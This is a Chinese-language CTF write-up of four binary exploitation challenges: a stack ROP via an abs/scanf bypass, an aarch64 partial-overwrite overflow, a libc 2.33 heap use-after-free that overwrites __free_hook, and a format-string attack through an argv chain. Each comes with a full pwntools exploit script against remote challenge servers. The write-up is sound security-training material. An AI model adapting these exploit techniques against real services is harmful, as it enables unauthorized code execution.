这回的pwn都用的高版本libc,各网站上一般都是2.23,2.27以前几年的题,高版本的很少,所以练了半天还不大会,只作了4个简单点的。另外两个已经弄到任意写了,但没找着往哪写管用放弃了。
目录
ez_pwn
题目用到了abs,和scanf两个觉绕过,可以增加数据然后返回和,内存里本身是有残留的,在只输入减号(-)时scanf不修改返回内容,也就会把残留内容输出。导致泄露。另外abs对-1的处理会异至还是负1,可以绕过检查写越界。
int hackme()
{
int v1[10]; // [esp+4h] [ebp-44h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-1Ch] BYREF
int v3; // [esp+30h] [ebp-18h] BYREF
unsigned int v4; // [esp+34h] [ebp-14h]
unsigned int i; // [esp+38h] [ebp-10h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]
v6 = 0;
v4 = 0;
puts("input the length of array:");
__isoc99_scanf("%d", &v2);
if ( (int)abs32(v2) > 10 ) //输入-1里,负数作abs32溢出,结果还是负数
{
puts("array is too long!");
exit(0);
}
while ( 1 )
{
while ( 1 )
{
puts("\n\n----------------------------------------------------");
puts("choice:\n1.add num\n2.get sum\n3.get avg\n4.exit");
puts("----------------------------------------------------\n");
puts("input your choice:");
__isoc99_scanf("%d", &v3);
if ( v3 != 3 )
break;
if ( v4 )
printf("avg = %d\n", v6 / v4);
else
puts("no avg!\n");
}
if ( v3 > 3 )
break;
if ( v3 == 1 )
{
if ( v4 >= v2 )
{
puts("array is too long!");
exit(0);
}
puts("input num");
__isoc99_scanf("%d", &v1[v4++]); //当仅输入-时不给v1赋值,保留残留
}
else
{
if ( v3 != 2 )
break;
v6 = 0;
for ( i = 0; v4 > i; ++i )
v6 += v1[i];
printf("sum = %d\n", v6);
}
}
puts("exit!");
return 0;
}
看似简单,一联网发现残留不同,版本找不着都。脑瓜子嗡嗡的。后来终于找到个libc database库,这里有libc可以查到 libc.rip 这个是在bing.com里搜到了。把默认搜索从百度改到bing.com了。
思路就是先输入-1,可以一直写,到ret的位置写ROP puts(got.puts) 再返回程序。得到libc地址。
第二次回来同样写ROP system(bin_sh)
from pwn import *
'''
patchelf --set-interpreter /home/shi/pwn/libc6-i386_2.27-3u1/ld-2.27.so pwn
patchelf --add-needed /home/shi/pwn/libc6-i386_2.27-3u1/libc-2.27.so pwn
'''
local = 0
if local == 1: #local
p = process('./ez_pwn')
else: #remote
p = remote('node4.buuoj.cn', 29862)
elf = ELF('./ez_pwn')
context(arch = 'i386')
'''
0020| 0xffbf0354 --> 0x0
0024| 0xffbf0358 --> 0x0
0028| 0xffbf035c --> 0x0
0032| 0xffbf0360 --> 0xf7f62000 --> 0x1d4d6c
0036| 0xffbf0364 --> 0x0
0040| 0xffbf0368 --> 0xffbf03a8 --> 0x0
0044| 0xffbf036c --> 0xf7dfaf25 (<setbuf+21>: add esp,0x1c)
0048| 0xffbf0370 --> 0xf7f62ce0 --> 0xfbad2087 std_err
0052| 0xffbf0374 --> 0x0
0056| 0xffbf0378 --> 0x2000 ('')
0060| 0xffbf037c --> 0xffffffff
0064| 0xffbf0380 --> 0x2
0068| 0xffbf0384 --> 0x4
0072| 0xffbf0388 --> 0x4
0076| 0xffbf038c --> 0xf7f62000 --> 0x1d4d6c
0080| 0xffbf0390 --> 0xf7f62ce0 --> 0xfbad2087
0084| 0xffbf0394 --> 0x804c000 --> 0x804bf08 ('X' <repeats 200 times>...)
0088| 0xffbf0398 --> 0xffbf03a8 --> 0x0
0092| 0xffbf039c --> 0x804946d (<main+101>: mov eax,0x0) RET
0096| 0xffbf03a0 --> 0xffbf03c0 --> 0x1
0100| 0xffbf03a4 --> 0x0
0104| 0xffbf03a8 --> 0x0
0108| 0xffbf03ac --> 0xf7da5e81 (<__libc_start_main+241>: add esp,0x10) RET
'''
menu = b"input your choice:\n"
def add(v):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"input num\n", v.encode())
def get():
p.sendlineafter(menu, b'2')
p.sendlineafter(b"input the length of array:\n", b'-1')
context.log_level='debug'
#libc
for i in range(18):
add('-')
add(str(elf.plt['puts']))
add(str(0x8049408))
add(str(elf.got['puts']))
p.sendlineafter(menu, b'4')
p.recvline()
leak = u32(p.recv(4))
print(hex(leak))
libc_base = leak - 0x67560
system = libc_base + 0x3cf10
bin_sh = libc_base + 0x17b9db
print(hex(libc_base))
pause()
p.sendlineafter(b"input the length of array:\n", b'-1')
for i in range(18):
add('-')
add(str(system -0x100000000))
add(str(0x8049408))
add(str(bin_sh - 0x100000000))
p.sendlineafter(menu, b'4')
p.interactive()
ea_aarch
以前没作可arm64的题,网上搜了下栈结构,硬着头皮作,毕竟只是个溢出到后门没难度。
int __cdecl main(int argc, const char **argv, const char **envp)
{
sub_8EC();
func();
return 0;
}
__int64 func()
{
puts("It's just a easy stack overflow.");
return fun2();
}
__int64 fun2()
{
char buf; // [xsp+10h] [xbp+10h] BYREF
puts("Please leave your name:");
read(0, &buf, 0x30uLL); #对0x10写0x30溢出
return puts("OK, you can exploit it now.");
}
__int64 backdoor() #093c
{
puts("OK, you get it !");
return system("/bin/sh");
}
由于PIE已经打开,加载地址是随机的,但后一个半字节是固定的只需要写栈溢出到返回地址,把返回地址的尾地址改为后门,然后就听天由命了,比较16次就能成功一次概率很高。
aarch没有rbp和canary,所以溢出地址直接用buf的偏移,由于没有rbp,ida里显示的是xbp+的地址,并不显示距离ret的地址,需要在汇编里看buf的偏移-0x20
.text:0000000000000968 fun2 ; CODE XREF: func+14↓p
.text:0000000000000968
.text:0000000000000968 var_30= -0x30
.text:0000000000000968 buf= -0x20
.text:0000000000000968
.text:0000000000000968 ; __unwind {
.text:0000000000000968 FD 7B BD A9 STP X29, X30, [SP,#var_30]!
.text:000000000000096C FD 03 00 91 MOV X29, SP
.text:0000000000000970 00 00 00 90 00 A0 2A 91 ADRL X0, aPleaseLeaveYou ; "Please leave your name:"
.text:0000000000000978 92 FF FF 97 BL .puts
.text:0000000000000978
.text:000000000000097C E0 43 00 91 ADD X0, SP, #0x30+buf
.text:0000000000000980 02 06 80 52 MOV W2, #0x30 ; '0' ; nbytes
.text:0000000000000984 E1 03 00 AA MOV X1, X0 ; buf
.text:0000000000000988 00 00 80 52 MOV W0, #0 ; fd
.text:000000000000098C 91 FF FF 97 BL .read
.text:000000000000098C
.text:0000000000000990 00 00 00 90 00 00 2B 91 ADRL X0, aOkYouCanExploi ; "OK, you can exploit it now."
.text:0000000000000998 8A FF FF 97 BL .puts
.text:0000000000000998
.text:000000000000099C 1F 20 03 D5 NOP
.text:00000000000009A0 FD 7B C3 A8 LDP X29, X30, [SP+0x30+var_30],#0x30
.text:00000000000009A4 C0 03 5F D6 RET
.text:00000000000009A4 ; } // starts at 968
from pwn import *
context(arch='aarch64', log_level='debug')
payload = p64(0)*5 + b'\x44\x09'
while True:
p = remote('node4.buuoj.cn', 29261)
p.sendafter(b"Please leave your name:\n", payload)
p.recvline()
d = p.recvline(timeout=0.5)
print("D:",d)
if b'OK, you get it !' in d:
p.interactive()
break
else:
p.close()
ezuaf
这到里就开始是堆题了,不过这个只是libc的问题,还好这个没有卡的地址。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-114h]
sub_11C5(a1, a2, a3);
while ( 1 )
{
menu();
v3 = get_n();
switch ( v3 )
{
case 1:
m1add(); // 15
break;
case 2:
m2edit();
break;
case 3:
m3free(); // UAF
break;
case 4:
m4show();
break;
default:
puts("Invaild Choice!");
break;
}
}
}
void m3free()
{
unsigned int n; // [rsp+Ch] [rbp-4h]
puts("Please tell me the index: ");
n = get_n();
if ( qword_40C0[n] && n <= 0xF )
free((void *)qword_40C0[n]); //free未清理指针UAF
else
puts("Invalid Index!");
}
1,由于能建80的块,所以释放7次就填满tcache再释放就进入unsort然后show得到libc地址,
2,但是址地址由于加了magic用起来麻烦点,第2步将获取的带magic的堆地址与0xc0异或得到加密后的tcache里的地址。用fastbin attack将块建到tcache这里的地址不但不加密而且可以直接访问
3,在tcache里写入free_hook再将system写入system即可
from pwn import *
'''
patchelf --set-interpreter /home/xxx/libc6_2.33-0ubuntu5/lib64/ld-2.33.so ezuaf
patchelf --add-needed /home/xxx/libc6_2.33-0ubuntu5/lib64/libc.so.6 ezuaf
'''
local = 0
if local == 1:
p = process('./ezuaf')
libc_elf = ELF('/home/xxx/libc6_2.33-0ubuntu5/lib64/libc.so.6')
else:
p = remote('node4.buuoj.cn', 27950)
libc_elf = ELF('./libc6_2.33-0ubuntu2_amd64.so')
#libc_elf = ELF('./libc6_2.32-0ubuntu6_amd64.so')
elf = ELF('./ezuaf')
context.arch = 'amd64'
context.log_level = 'debug'
menu = b': '
def add(size, msg=b'A'):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Please tell me its size: \n", str(size).encode())
p.sendafter(b"Content: ", msg)
def edit(idx, msg):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Please tell me the index: \n", str(idx).encode())
p.sendlineafter(b"Please tell me its content: \n", msg)
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Please tell me the index: \n", str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Please tell me the index: \n", str(idx).encode())
for i in range(8):
add(0x80, (p64(0)+p64(0x91))*6)
add(0x70) #8
for i in range(8,-1,-1):
free(i)
show(1)
heap_addr = u64(p.recv(8))
print('heap:', hex(heap_addr))
show(0)
libc_addr = u64(p.recv(8)) -0x60 - 0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_addr
print('libc:', hex(libc_addr))
pause()
heap_base = heap_addr ^ 0x3c0
edit(1, p64(heap_base ^ 0xc0))
add(0x80, b'AAAAAAAA') #8
add(0x80, b'\x20') #10
show(10)
heap_true = u64(p.recv(8)) - 0x720
magic = heap_true ^ heap_base
print('magic:', hex(magic))
edit(10, p64(libc_elf.sym['__free_hook']))
add(0x70, p64(libc_elf.sym['system'])) #11
add(0x18, b'/bin/sh\x00') #12
free(12)
p.interactive()
#gdb.attach(p)
#pause()
dest_love
格式化字符串漏洞,格式化字符串就那么几种,最简单的输入串在栈内,这样的可以直接输入地址,然后以这个为指针去写,加大点难度的就是串在bss里,这时栈里没有指针,就得通过rbp链来改。再难点没有rbp链的情况(没有多余的从层函数调用)就指指向argv的地址,其实跟rbp相似只是更远一点。
这个题就是第3种
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 i; // [rsp+0h] [rbp-10h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
for ( i = 0LL; i <= 5; ++i )
{
puts("What about your love to Dest0g3?");
read(0, format, 0x40uLL); //format在bss ,而且在main里操作没有rbp链
printf(format);
}
if ( dword_4010 == 1314520 ) //有后门免去rop或者hook
{
puts("I can feel your love!");
system("/bin/sh");
}
else
{
puts("Your dont love Dest0g3 at all!");
}
return 0LL;
}
先找argv的指针,改为指向bss地址再将这个当指针改后门
from pwn import *
'''
0000| 0x7ffe8a1dee30 --> 0x0
0008| 0x7ffe8a1dee38 --> 0x210b9cb6bcc3d600
0016| 0x7ffe8a1dee40 --> 0x0
0024| 0x7ffe8a1dee48 --> 0x7fc05b7c7565 (<__libc_start_main+213>: mov edi,eax)
0032| 0x7ffe8a1dee50 --> 0x7ffe8a1def38 --> 0x7ffe8a1e039f --> 0x530065766f6c2f2e ('./love')
0040| 0x7ffe8a1dee58 --> 0x18a1ee000
0048| 0x7ffe8a1dee60 --> 0x5646a0123185 (push rbp) #12
0056| 0x7ffe8a1dee68 --> 0x7ffe8a1df259 --> 0x210b9cb6bcc3d6c1
0064| 0x7ffe8a1dee70 --> 0x5646a0123270 (push r15)
0072| 0x7ffe8a1dee78 --> 0x4e8b1024fd8c3899
0080| 0x7ffe8a1dee80 --> 0x5646a01230a0 (xor ebp,ebp)
0088| 0x7ffe8a1dee88 --> 0x0
0096| 0x7ffe8a1dee90 --> 0x0
0104| 0x7ffe8a1dee98 --> 0x0
0112| 0x7ffe8a1deea0 --> 0xb176041f212c3899
0120| 0x7ffe8a1deea8 --> 0xb10ba6dc17b83899
0128| 0x7ffe8a1deeb0 --> 0x0
0136| 0x7ffe8a1deeb8 --> 0x0
0144| 0x7ffe8a1deec0 --> 0x0
0152| 0x7ffe8a1deec8 --> 0x1
0160| 0x7ffe8a1deed0 --> 0x7ffe8a1def38 --> 0x7ffe8a1e039f --> 0x530065766f6c2f2e ('./love') #26 ef38-ee60
0168| 0x7ffe8a1deed8 --> 0x7ffe8a1def48 --> 0x7ffe8a1e03a6 ("SHELL=/bin/bash")
'''
#p = process('./love')
p = remote('node4.buuoj.cn', 26210)
context(arch='amd64', log_level='debug')
#1 leak
p.sendlineafter(b"What about your love to Dest0g3?\n",b'%12$p,%26$p,%39$p,')
pwn_base = int(p.recvuntil(b',', drop=True), 16) - 0x1185
stack = int(p.recvuntil(b',', drop=True), 16) - 0xd8
offset = 27 + 12
print(hex(pwn_base), hex(stack), offset)
#2 26->39->12
last_2 = stack & 0xffff
p.sendlineafter(b"What about your love to Dest0g3?\n",f'%{last_2}c%26$hn END'.encode())
sleep(0.5)
p.recvuntil(b'END')
#3 39-> #12-> base+0x4010
last_2 = (pwn_base+0x4010) &0xffff
p.sendlineafter(b"What about your love to Dest0g3?\n",f'%{last_2}c%{offset}$hn END'.encode())
sleep(0.5)
p.recvuntil(b'END')
#4 12-> key = 140ed8
last_2 = 0xed8
p.sendlineafter(b"What about your love to Dest0g3?\n",f'%{last_2}c%12$hn END'.encode())
sleep(0.5)
p.recvuntil(b'END')
# offset-> #11-> base+0x4012
last_2 = (pwn_base+0x12) &0xff
p.sendlineafter(b"What about your love to Dest0g3?\n",f'%{last_2}c%{offset}$hhn END'.encode())
p.recvuntil(b'END')
# 11-> key = 140ed8
last_2 = 0x14
p.sendlineafter(b"What about your love to Dest0g3?\n",f'%{last_2}c%12$hhn END'.encode())
p.recvuntil(b'END')
p.interactive()